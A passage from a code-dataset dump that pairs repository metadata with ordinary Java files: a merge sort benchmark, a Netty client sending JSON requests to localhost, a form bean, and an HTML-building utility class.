public static <T extends Comparable<T>> void sort(T[] a)
{
mergesort(a, 0, a.length-1);
}
private static <T extends Comparable<T>> void mergesort (T[] a, int i, int j)
{
if (j-i < 1) return;
int mid = (i+j)/2;
mergesort(a, i, mid);
mergesort(a, mid+1, j);
merge(a, i, mid, j);
}
@SuppressWarnings("unchecked") private static <T extends Comparable<T>> void merge(T[] a, int start, int mid, int last) {
Object[] a1 = new Object[last-start+1];
int i = start;
int j = mid+1;
int k = 0;
while (i <= mid && j <= last) {
if (a[i].compareTo(a[j])<=0)
a1[k] = a[i++];
else
a1[k] = a[j++];
k++;
}
while(i<=mid)
{
a1[k]=a[i];
i++;
k++;
}
while(j<=last)
{
a1[k]=a[j];
j++;
k++;
}
for (k = 0; k < a1.length; k++) {
a[k+start] = (T)(a1[k]);
}
}
public static void timer()
{
if(phase == 0) {
startTime = System.currentTimeMillis();
phase = 1;
} else {
endTime = System.currentTimeMillis();
elapsedTime = endTime-startTime;
System.out.println("Time: " + elapsedTime + " msec.");
phase = 0;
}
}
public static void main(String[] args) {
int size=1000002;
Integer[] a = new Integer[size];
Random rand = new Random();
for(int i=0; i<size; i++) {
a[i] = rand.nextInt(10*size);
}
timer();
MergeSort.sort(a);
for (int i = 0; i < size; i++)
System.out.println(a[i].toString());
timer();
}
}
| UTF-8 | Java | 1,825 | java | MergeSort.java | Java | []
| null | []
| import java.lang.*;
import java.util.Comparator;
import java.util.Random;
import java.util.Arrays;
public class MergeSort {
private static long startTime, endTime, elapsedTime;
private static int phase = 0;
public static <T extends Comparable<T>> void sort(T[] a)
{
mergesort(a, 0, a.length-1);
}
private static <T extends Comparable<T>> void mergesort (T[] a, int i, int j)
{
if (j-i < 1) return;
int mid = (i+j)/2;
mergesort(a, i, mid);
mergesort(a, mid+1, j);
merge(a, i, mid, j);
}
@SuppressWarnings("unchecked") private static <T extends Comparable<T>> void merge(T[] a, int start, int mid, int last) {
Object[] a1 = new Object[last-start+1];
int i = start;
int j = mid+1;
int k = 0;
while (i <= mid && j <= last) {
if (a[i].compareTo(a[j])<=0)
a1[k] = a[i++];
else
a1[k] = a[j++];
k++;
}
while(i<=mid)
{
a1[k]=a[i];
i++;
k++;
}
while(j<=last)
{
a1[k]=a[j];
j++;
k++;
}
for (k = 0; k < a1.length; k++) {
a[k+start] = (T)(a1[k]);
}
}
public static void timer()
{
if(phase == 0) {
startTime = System.currentTimeMillis();
phase = 1;
} else {
endTime = System.currentTimeMillis();
elapsedTime = endTime-startTime;
System.out.println("Time: " + elapsedTime + " msec.");
phase = 0;
}
}
public static void main(String[] args) {
int size=1000002;
Integer[] a = new Integer[size];
Random rand = new Random();
for(int i=0; i<size; i++) {
a[i] = rand.nextInt(10*size);
}
timer();
MergeSort.sort(a);
for (int i = 0; i < size; i++)
System.out.println(a[i].toString());
timer();
}
}
| 1,825 | 0.510685 | 0.493151 | 87 | 19.931034 | 20.696934 | 126 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.068966 | false | false | 1 |
559822f8ad8b4e06222ab512dc636701051b5cdd | 35,098,472,776,962 | 01be601443c92ada593d80a40cdf6bd869fb37c2 | /src/main/java/com/man1s/nio/rpc/single/Client.java | c9ed51ca957fd93c09af4b6ae0f2de96d2226ac1 | []
| no_license | testslowworld/designmodel | https://github.com/testslowworld/designmodel | 1406770a78694a1ba97d8ed816d99c84ee5a39df | 49b2fb60834ec04ea8c650768c8e3b315f3b6ec8 | refs/heads/master | 2022-01-08T21:38:11.734000 | 2019-05-15T05:59:42 | 2019-05-15T05:59:42 | 111,803,060 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.man1s.nio.rpc.single;
import com.alibaba.fastjson.JSONObject;
import io.netty.bootstrap.Bootstrap;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.string.StringDecoder;
import io.netty.handler.codec.string.StringEncoder;
public class Client {
public static void main(String[] args) throws Exception {
for (int i = 0; i < 10; i++) {
deal(i);
}
Thread.sleep(10000);
}
private static void deal(int i) throws Exception {
EventLoopGroup workerGroup = new NioEventLoopGroup();
try {
Bootstrap b = new Bootstrap(); // (1)
b.group(workerGroup); // (2)
b.channel(NioSocketChannel.class); // (3)
b.option(ChannelOption.SO_KEEPALIVE, true); // (4)
b.handler(new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel ch) throws Exception {
ch.pipeline().addLast("decoder", new StringDecoder());
ch.pipeline().addLast("encoder", new StringEncoder());
ch.pipeline().addLast(new ReadHandler());
}
});
ChannelFuture f = b.connect("localhost", 8080).sync(); // (5)
Channel channel = f.channel();
JSONObject req = new JSONObject();
req.put("method", "method");
req.put("params", "params");
req.put(i + "", i);
channel.writeAndFlush(req.toString());
} finally {
workerGroup.shutdownGracefully();
}
}
}
class ReadHandler extends ChannelInboundHandlerAdapter { // (1)
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) { // (2)
System.out.println(msg);
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { // (4)
// Close the connection when an exception is raised.
cause.printStackTrace();
ctx.close();
}
}
| UTF-8 | Java | 2,166 | java | Client.java | Java | []
| null | []
| package com.man1s.nio.rpc.single;
import com.alibaba.fastjson.JSONObject;
import io.netty.bootstrap.Bootstrap;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.string.StringDecoder;
import io.netty.handler.codec.string.StringEncoder;
public class Client {
public static void main(String[] args) throws Exception {
for (int i = 0; i < 10; i++) {
deal(i);
}
Thread.sleep(10000);
}
private static void deal(int i) throws Exception {
EventLoopGroup workerGroup = new NioEventLoopGroup();
try {
Bootstrap b = new Bootstrap(); // (1)
b.group(workerGroup); // (2)
b.channel(NioSocketChannel.class); // (3)
b.option(ChannelOption.SO_KEEPALIVE, true); // (4)
b.handler(new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel ch) throws Exception {
ch.pipeline().addLast("decoder", new StringDecoder());
ch.pipeline().addLast("encoder", new StringEncoder());
ch.pipeline().addLast(new ReadHandler());
}
});
ChannelFuture f = b.connect("localhost", 8080).sync(); // (5)
Channel channel = f.channel();
JSONObject req = new JSONObject();
req.put("method", "method");
req.put("params", "params");
req.put(i + "", i);
channel.writeAndFlush(req.toString());
} finally {
workerGroup.shutdownGracefully();
}
}
}
class ReadHandler extends ChannelInboundHandlerAdapter { // (1)
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) { // (2)
System.out.println(msg);
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { // (4)
// Close the connection when an exception is raised.
cause.printStackTrace();
ctx.close();
}
}
| 2,166 | 0.600185 | 0.590489 | 64 | 32.84375 | 24.671099 | 84 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.65625 | false | false | 1 |
1c6f20320d16f2b38de086e1d204038f20f60301 | 12,086,038,037,431 | f089f4fbd7102f46de9b8b803d65eecd86a7390f | /Item 7 - Acceptance Test Suite/Buggy Project/Buggy Acme-Gallery/src/main/java/forms/ActorEditionForm.java | 97b9bf8e381c85a815a0b8074143ae3cba818d80 | []
| no_license | joancafom/Acme-Gallery | https://github.com/joancafom/Acme-Gallery | 5c0a4ac73face82206ec5c5824c80c70daebf6fa | a3f440a945a55e3173d3171686b454102057ca54 | refs/heads/master | 2020-03-11T19:00:57.001000 | 2018-06-08T19:50:34 | 2018-06-08T19:50:34 | 130,194,439 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package forms;
public class ActorEditionForm {
//Actor
private String name;
private String surnames;
private String email;
private String phoneNumber;
private String address;
private String gender;
public String getName() {
return this.name;
}
public String getSurnames() {
return this.surnames;
}
public String getEmail() {
return this.email;
}
public String getPhoneNumber() {
return this.phoneNumber;
}
public String getAddress() {
return this.address;
}
public String getGender() {
return this.gender;
}
public void setName(final String name) {
this.name = name;
}
public void setSurnames(final String surnames) {
this.surnames = surnames;
}
public void setEmail(final String email) {
this.email = email;
}
public void setPhoneNumber(final String phoneNumber) {
this.phoneNumber = phoneNumber;
}
public void setAddress(final String address) {
this.address = address;
}
public void setGender(final String gender) {
this.gender = gender;
}
}
| UTF-8 | Java | 1,016 | java | ActorEditionForm.java | Java | []
| null | []
|
package forms;
public class ActorEditionForm {
//Actor
private String name;
private String surnames;
private String email;
private String phoneNumber;
private String address;
private String gender;
public String getName() {
return this.name;
}
public String getSurnames() {
return this.surnames;
}
public String getEmail() {
return this.email;
}
public String getPhoneNumber() {
return this.phoneNumber;
}
public String getAddress() {
return this.address;
}
public String getGender() {
return this.gender;
}
public void setName(final String name) {
this.name = name;
}
public void setSurnames(final String surnames) {
this.surnames = surnames;
}
public void setEmail(final String email) {
this.email = email;
}
public void setPhoneNumber(final String phoneNumber) {
this.phoneNumber = phoneNumber;
}
public void setAddress(final String address) {
this.address = address;
}
public void setGender(final String gender) {
this.gender = gender;
}
}
| 1,016 | 0.715551 | 0.715551 | 62 | 15.370968 | 15.520262 | 55 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.290323 | false | false | 1 |
53a48ce8b1944972c7ca27fcc9692798a1993303 | 37,211,596,678,194 | fa02647a0cf1c1047559802a97100d3d73873ce5 | /aggregate-visualizer/andrew/src/edu/washington/cs/aha/HtmlUtil.java | d4a4451d56849af34fc9fa2c97229de52fcfdf68 | []
| no_license | opendatakit/visualize | https://github.com/opendatakit/visualize | 33622a0170d4d32145af002d754d70d46bf1284a | 81083673cc8dec36ed726d9b35eaa853b7bc160a | refs/heads/master | 2015-09-24T19:03:10.150000 | 2015-07-02T18:34:52 | 2015-07-02T18:34:52 | 38,391,337 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package edu.washington.cs.aha;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.google.appengine.api.users.UserService;
import com.google.appengine.api.users.UserServiceFactory;
import com.google.appengine.repackaged.com.google.common.base.Pair;
public class HtmlUtil {
private static final String INPUT_WIDGET_SIZE_LIMIT = "50";
private static final String HREF = "href";
private static final String A = "a";
private static final String INPUT = "input";
private static final String ATTR_VALUE = "value";
private static final String ATTR_NAME = "name";
private static final String ATTR_TYPE = "type";
private static final String ATTR_METHOD = "method";
private static final String ATTR_ENCTYPE = "enctype";
private static final String ATTR_ACTION = "action";
private static final String ATTR_SIZE = "size";
static String createEndTag(String tag) {
return HtmlConsts.BEGIN_CLOSE_TAG + tag + HtmlConsts.END_TAG;
}
static String createBeginTag(String tag) {
return HtmlConsts.BEGIN_OPEN_TAG + tag + HtmlConsts.END_TAG;
}
public static String createUrl(String serverName) {
return HtmlConsts.HTTP + serverName + BasicConsts.FORWARDSLASH;
}
public static String createAttribute(String name, String value) {
return name + BasicConsts.EQUALS + BasicConsts.QUOTE + value + BasicConsts.QUOTE;
}
public static String wrapWithHtmlTags(String htmlTag, String text) {
return createBeginTag(htmlTag) + text + createEndTag(htmlTag);
}
public static String createHref(String url, String displayText) {
return HtmlConsts.BEGIN_OPEN_TAG + A + BasicConsts.SPACE + createAttribute(HREF, url)
+ HtmlConsts.END_TAG + displayText + createEndTag(A);
}
public static String createHrefWithProperties(String urlBase, Map<String, String> properties,
String displayText) {
return createHref(createLinkWithProperties(urlBase, properties), displayText);
}
public static String createLinkWithProperties(String url, Map<String, String> properties) {
StringBuilder urlBuilder = new StringBuilder();
urlBuilder.append(url);
if (properties != null) {
Set<Map.Entry<String, String>> propSet = properties.entrySet();
if (!propSet.isEmpty()) {
urlBuilder.append(ServletConsts.BEGIN_PARAM);
boolean firstParam = true;
for (Map.Entry<String, String> property : propSet) {
if(firstParam) {
firstParam = false;
} else {
urlBuilder.append(ServletConsts.PARAM_DELIMITER);
}
String value = property.getValue();
if(value == null) {
value = BasicConsts.NULL;
}
String valueEncoded;
try {
valueEncoded = URLEncoder.encode(value, ServletConsts.ENCODE_SCHEME);
} catch (UnsupportedEncodingException e) {
valueEncoded = BasicConsts.EMPTY_STRING;
}
urlBuilder.append(property.getKey() + BasicConsts.EQUALS + valueEncoded);
}
}
}
return urlBuilder.toString();
}
public static String createInput(String type, String name, String value) {
StringBuilder html = new StringBuilder();
html.append(HtmlConsts.BEGIN_OPEN_TAG + INPUT);
if (type != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_TYPE, type));
}
if (name != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_NAME, name));
}
if (value != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_VALUE, value));
}
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_SIZE, INPUT_WIDGET_SIZE_LIMIT));
html.append(HtmlConsts.END_SELF_CLOSING_TAG);
return html.toString();
}
public static String createRadio(String name, String value, String desc, boolean checked) {
StringBuilder html = new StringBuilder();
html.append(HtmlConsts.BEGIN_OPEN_TAG + INPUT + BasicConsts.SPACE);
html.append(createAttribute(ATTR_TYPE, HtmlConsts.INPUT_TYPE_RADIO));
if (name != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_NAME, name));
}
if (value != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_VALUE, value));
}
html.append(BasicConsts.SPACE);
if(checked) {
html.append(HtmlConsts.CHECKED);
}
html.append(HtmlConsts.END_SELF_CLOSING_TAG);
html.append(desc);
html.append(HtmlConsts.LINE_BREAK);
return html.toString();
}
/**
*
* @param name The select name.
* @param values A list of pairs [option value, option title (text displayed to user)] for each option.
* @return
*/
/* public static String createSelect(String name, List<Pair<String,String>> values) {
if (name == null){
return null;
}
StringBuilder html = new StringBuilder();
html.append("<select name='" + StringEscapeUtils.escapeHtml(name) + "'>");
if (values != null) {
for (Pair<String, String> v : values) {
html.append("<option value='" + StringEscapeUtils.escapeHtml(v.first) + "'>");
if (v.second != null) {
html.append(StringEscapeUtils.escapeHtml(v.second));
}
html.append("</option>");
}
}
html.append("</select>");
return html.toString();
}
*/
public static String createFormBeginTag(String action, String encodingType, String method) {
StringBuilder html = new StringBuilder();
html.append(HtmlConsts.BEGIN_OPEN_TAG + HtmlConsts.FORM);
if (action != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_ACTION, action));
}
if (encodingType != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_ENCTYPE, encodingType));
}
if (method != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_METHOD, method));
}
html.append(HtmlConsts.END_TAG);
return html.toString();
}
/**
* Helper function that creates an html button with the following parameters
*
* @param servletAddr
* http action
* @param label
* button's label
* @param properties
* key/value pairs to be encoded as hidden input types to be used as parameters
* @return
* html to generate specified button
*
* @throws UnsupportedEncodingException
*/
public static String createHtmlButtonToGetServlet(String servletAddr, String label, Map<String,String> properties)
throws UnsupportedEncodingException {
StringBuilder html = new StringBuilder();
html.append(createFormBeginTag(servletAddr, null, ServletConsts.GET));
if(properties != null) {
Set<Map.Entry<String, String>> propSet = properties.entrySet();
for(Map.Entry<String, String> property: propSet) {
String valueEncoded = URLEncoder.encode(property.getValue(), ServletConsts.ENCODE_SCHEME);
html.append(createInput(HtmlConsts.INPUT_TYPE_HIDDEN, property.getKey(), valueEncoded));
}
}
html.append(createInput(HtmlConsts.INPUT_TYPE_SUBMIT, null, label));
html.append(HtmlConsts.FORM_CLOSE);
return html.toString();
}
/*
<FORM
ACTION="blah"
METHOD=POST onSubmit="return dropdown(this.gourl)">
<SELECT NAME="gourl">
<OPTION VALUE="">Choose a Destination...
<OPTION VALUE="/tags/" >Guide to HTML
<OPTION VALUE="/" >Idocs Home Page
<OPTION VALUE="http://www.ninthwonder.com" >Ninth Wonder
</SELECT>
<INPUT TYPE=SUBMIT VALUE="Go">
</FORM>
*/
// TODO: It would be nice to build this with all the built in stuff Waylon Provides.
// BUT, I'm in a time crunch, Hard-coded it is.
public static String createDropDownForm(String actionName,
String postMethodOnChange,
String formName,
Set<String> optionValues,
Set<String> optionNames,
String typeSubmitValue,
String id){
List<String> optVals = new ArrayList<String>();
optVals.addAll(optionValues);
List<String> optNames = new ArrayList<String>();
optNames.addAll(optionNames);
StringBuilder html = new StringBuilder();
html.append("<FORM ");
//html.append(actionName);
html.append(" onChange=\"");
html.append(postMethodOnChange);
html.append("\" ID=\"");
html.append(id);
html.append("\">");
html.append("<SELECT NAME=\"");
html.append(formName);
html.append("\">\n");
for(int i=0; i<optionValues.size(); i++){
html.append("<OPTION VALUE=\"");
html.append(optVals.get(i));
html.append("\">");
html.append(optNames.get(i));
html.append("\n");
}
html.append("</SELECT>\n");
// html.append("<INPUT TYPE=SUBMIT VALUE=\"");
// html.append(typeSubmitValue);
// html.append("\">\n");
html.append("</FORM>");
return html.toString();
}
/*
public static String wrapResultTableWithHtmlTags(ResultTable resultTable, boolean addCheckboxes) {
StringBuilder html = new StringBuilder();
html.append(HtmlConsts.TABLE_OPEN);
List<String> keys = null;
if(addCheckboxes) {
keys = resultTable.getKeys();
html.append(wrapWithHtmlTags(HtmlConsts.TABLE_HEADER, HtmlConsts.CHECKBOX_HEADER));
}
for (String header : resultTable.getHeader()) {
html.append(wrapWithHtmlTags(HtmlConsts.TABLE_HEADER, header));
}
List<List<String>> rows = resultTable.getRows();
for (int recordNum = 0; recordNum < rows.size(); recordNum++ ) {
List<String> row = rows.get(recordNum);
html.append(HtmlConsts.TABLE_ROW_OPEN);
if(addCheckboxes) {
html.append(wrapWithHtmlTags(HtmlConsts.TABLE_DATA,createInput(HtmlConsts.INPUT_TYPE_CHECKBOX, ServletConsts.PROCESS_RECORD_PREFIX + recordNum, keys.get(recordNum))));
}
for (String item : row) {
html.append(wrapWithHtmlTags(HtmlConsts.TABLE_DATA, item));
}
html.append(HtmlConsts.TABLE_ROW_CLOSE);
}
html.append(HtmlConsts.TABLE_CLOSE);
return html.toString();
}
*/
}
| UTF-8 | Java | 11,071 | java | HtmlUtil.java | Java | [
{
"context": "Page\r\n<OPTION VALUE=\"http://www.ninthwonder.com\" >Ninth Wonder\r\n\r\n</SELECT>\r\n\r\n<INPUT TYPE=SUBMIT VALUE=\"Go\">\r\n<",
"end": 8280,
"score": 0.9986692667007446,
"start": 8268,
"tag": "NAME",
"value": "Ninth Wonder"
}
]
| null | []
| package edu.washington.cs.aha;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.google.appengine.api.users.UserService;
import com.google.appengine.api.users.UserServiceFactory;
import com.google.appengine.repackaged.com.google.common.base.Pair;
public class HtmlUtil {
private static final String INPUT_WIDGET_SIZE_LIMIT = "50";
private static final String HREF = "href";
private static final String A = "a";
private static final String INPUT = "input";
private static final String ATTR_VALUE = "value";
private static final String ATTR_NAME = "name";
private static final String ATTR_TYPE = "type";
private static final String ATTR_METHOD = "method";
private static final String ATTR_ENCTYPE = "enctype";
private static final String ATTR_ACTION = "action";
private static final String ATTR_SIZE = "size";
static String createEndTag(String tag) {
return HtmlConsts.BEGIN_CLOSE_TAG + tag + HtmlConsts.END_TAG;
}
static String createBeginTag(String tag) {
return HtmlConsts.BEGIN_OPEN_TAG + tag + HtmlConsts.END_TAG;
}
public static String createUrl(String serverName) {
return HtmlConsts.HTTP + serverName + BasicConsts.FORWARDSLASH;
}
public static String createAttribute(String name, String value) {
return name + BasicConsts.EQUALS + BasicConsts.QUOTE + value + BasicConsts.QUOTE;
}
public static String wrapWithHtmlTags(String htmlTag, String text) {
return createBeginTag(htmlTag) + text + createEndTag(htmlTag);
}
public static String createHref(String url, String displayText) {
return HtmlConsts.BEGIN_OPEN_TAG + A + BasicConsts.SPACE + createAttribute(HREF, url)
+ HtmlConsts.END_TAG + displayText + createEndTag(A);
}
public static String createHrefWithProperties(String urlBase, Map<String, String> properties,
String displayText) {
return createHref(createLinkWithProperties(urlBase, properties), displayText);
}
public static String createLinkWithProperties(String url, Map<String, String> properties) {
StringBuilder urlBuilder = new StringBuilder();
urlBuilder.append(url);
if (properties != null) {
Set<Map.Entry<String, String>> propSet = properties.entrySet();
if (!propSet.isEmpty()) {
urlBuilder.append(ServletConsts.BEGIN_PARAM);
boolean firstParam = true;
for (Map.Entry<String, String> property : propSet) {
if(firstParam) {
firstParam = false;
} else {
urlBuilder.append(ServletConsts.PARAM_DELIMITER);
}
String value = property.getValue();
if(value == null) {
value = BasicConsts.NULL;
}
String valueEncoded;
try {
valueEncoded = URLEncoder.encode(value, ServletConsts.ENCODE_SCHEME);
} catch (UnsupportedEncodingException e) {
valueEncoded = BasicConsts.EMPTY_STRING;
}
urlBuilder.append(property.getKey() + BasicConsts.EQUALS + valueEncoded);
}
}
}
return urlBuilder.toString();
}
public static String createInput(String type, String name, String value) {
StringBuilder html = new StringBuilder();
html.append(HtmlConsts.BEGIN_OPEN_TAG + INPUT);
if (type != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_TYPE, type));
}
if (name != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_NAME, name));
}
if (value != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_VALUE, value));
}
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_SIZE, INPUT_WIDGET_SIZE_LIMIT));
html.append(HtmlConsts.END_SELF_CLOSING_TAG);
return html.toString();
}
public static String createRadio(String name, String value, String desc, boolean checked) {
StringBuilder html = new StringBuilder();
html.append(HtmlConsts.BEGIN_OPEN_TAG + INPUT + BasicConsts.SPACE);
html.append(createAttribute(ATTR_TYPE, HtmlConsts.INPUT_TYPE_RADIO));
if (name != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_NAME, name));
}
if (value != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_VALUE, value));
}
html.append(BasicConsts.SPACE);
if(checked) {
html.append(HtmlConsts.CHECKED);
}
html.append(HtmlConsts.END_SELF_CLOSING_TAG);
html.append(desc);
html.append(HtmlConsts.LINE_BREAK);
return html.toString();
}
/**
*
* @param name The select name.
* @param values A list of pairs [option value, option title (text displayed to user)] for each option.
* @return
*/
/* public static String createSelect(String name, List<Pair<String,String>> values) {
if (name == null){
return null;
}
StringBuilder html = new StringBuilder();
html.append("<select name='" + StringEscapeUtils.escapeHtml(name) + "'>");
if (values != null) {
for (Pair<String, String> v : values) {
html.append("<option value='" + StringEscapeUtils.escapeHtml(v.first) + "'>");
if (v.second != null) {
html.append(StringEscapeUtils.escapeHtml(v.second));
}
html.append("</option>");
}
}
html.append("</select>");
return html.toString();
}
*/
public static String createFormBeginTag(String action, String encodingType, String method) {
StringBuilder html = new StringBuilder();
html.append(HtmlConsts.BEGIN_OPEN_TAG + HtmlConsts.FORM);
if (action != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_ACTION, action));
}
if (encodingType != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_ENCTYPE, encodingType));
}
if (method != null) {
html.append(BasicConsts.SPACE);
html.append(createAttribute(ATTR_METHOD, method));
}
html.append(HtmlConsts.END_TAG);
return html.toString();
}
/**
* Helper function that creates an html button with the following parameters
*
* @param servletAddr
* http action
* @param label
* button's label
* @param properties
* key/value pairs to be encoded as hidden input types to be used as parameters
* @return
* html to generate specified button
*
* @throws UnsupportedEncodingException
*/
public static String createHtmlButtonToGetServlet(String servletAddr, String label, Map<String,String> properties)
throws UnsupportedEncodingException {
StringBuilder html = new StringBuilder();
html.append(createFormBeginTag(servletAddr, null, ServletConsts.GET));
if(properties != null) {
Set<Map.Entry<String, String>> propSet = properties.entrySet();
for(Map.Entry<String, String> property: propSet) {
String valueEncoded = URLEncoder.encode(property.getValue(), ServletConsts.ENCODE_SCHEME);
html.append(createInput(HtmlConsts.INPUT_TYPE_HIDDEN, property.getKey(), valueEncoded));
}
}
html.append(createInput(HtmlConsts.INPUT_TYPE_SUBMIT, null, label));
html.append(HtmlConsts.FORM_CLOSE);
return html.toString();
}
/*
<FORM
ACTION="blah"
METHOD=POST onSubmit="return dropdown(this.gourl)">
<SELECT NAME="gourl">
<OPTION VALUE="">Choose a Destination...
<OPTION VALUE="/tags/" >Guide to HTML
<OPTION VALUE="/" >Idocs Home Page
<OPTION VALUE="http://www.ninthwonder.com" ><NAME>
</SELECT>
<INPUT TYPE=SUBMIT VALUE="Go">
</FORM>
*/
// TODO: It would be nice to build this with all the built in stuff Waylon Provides.
// BUT, I'm in a time crunch, Hard-coded it is.
public static String createDropDownForm(String actionName,
String postMethodOnChange,
String formName,
Set<String> optionValues,
Set<String> optionNames,
String typeSubmitValue,
String id){
List<String> optVals = new ArrayList<String>();
optVals.addAll(optionValues);
List<String> optNames = new ArrayList<String>();
optNames.addAll(optionNames);
StringBuilder html = new StringBuilder();
html.append("<FORM ");
//html.append(actionName);
html.append(" onChange=\"");
html.append(postMethodOnChange);
html.append("\" ID=\"");
html.append(id);
html.append("\">");
html.append("<SELECT NAME=\"");
html.append(formName);
html.append("\">\n");
for(int i=0; i<optionValues.size(); i++){
html.append("<OPTION VALUE=\"");
html.append(optVals.get(i));
html.append("\">");
html.append(optNames.get(i));
html.append("\n");
}
html.append("</SELECT>\n");
// html.append("<INPUT TYPE=SUBMIT VALUE=\"");
// html.append(typeSubmitValue);
// html.append("\">\n");
html.append("</FORM>");
return html.toString();
}
/*
public static String wrapResultTableWithHtmlTags(ResultTable resultTable, boolean addCheckboxes) {
StringBuilder html = new StringBuilder();
html.append(HtmlConsts.TABLE_OPEN);
List<String> keys = null;
if(addCheckboxes) {
keys = resultTable.getKeys();
html.append(wrapWithHtmlTags(HtmlConsts.TABLE_HEADER, HtmlConsts.CHECKBOX_HEADER));
}
for (String header : resultTable.getHeader()) {
html.append(wrapWithHtmlTags(HtmlConsts.TABLE_HEADER, header));
}
List<List<String>> rows = resultTable.getRows();
for (int recordNum = 0; recordNum < rows.size(); recordNum++ ) {
List<String> row = rows.get(recordNum);
html.append(HtmlConsts.TABLE_ROW_OPEN);
if(addCheckboxes) {
html.append(wrapWithHtmlTags(HtmlConsts.TABLE_DATA,createInput(HtmlConsts.INPUT_TYPE_CHECKBOX, ServletConsts.PROCESS_RECORD_PREFIX + recordNum, keys.get(recordNum))));
}
for (String item : row) {
html.append(wrapWithHtmlTags(HtmlConsts.TABLE_DATA, item));
}
html.append(HtmlConsts.TABLE_ROW_CLOSE);
}
html.append(HtmlConsts.TABLE_CLOSE);
return html.toString();
}
*/
}
| 11,065 | 0.627224 | 0.626863 | 319 | 32.70533 | 27.406742 | 176 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.799373 | false | false | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.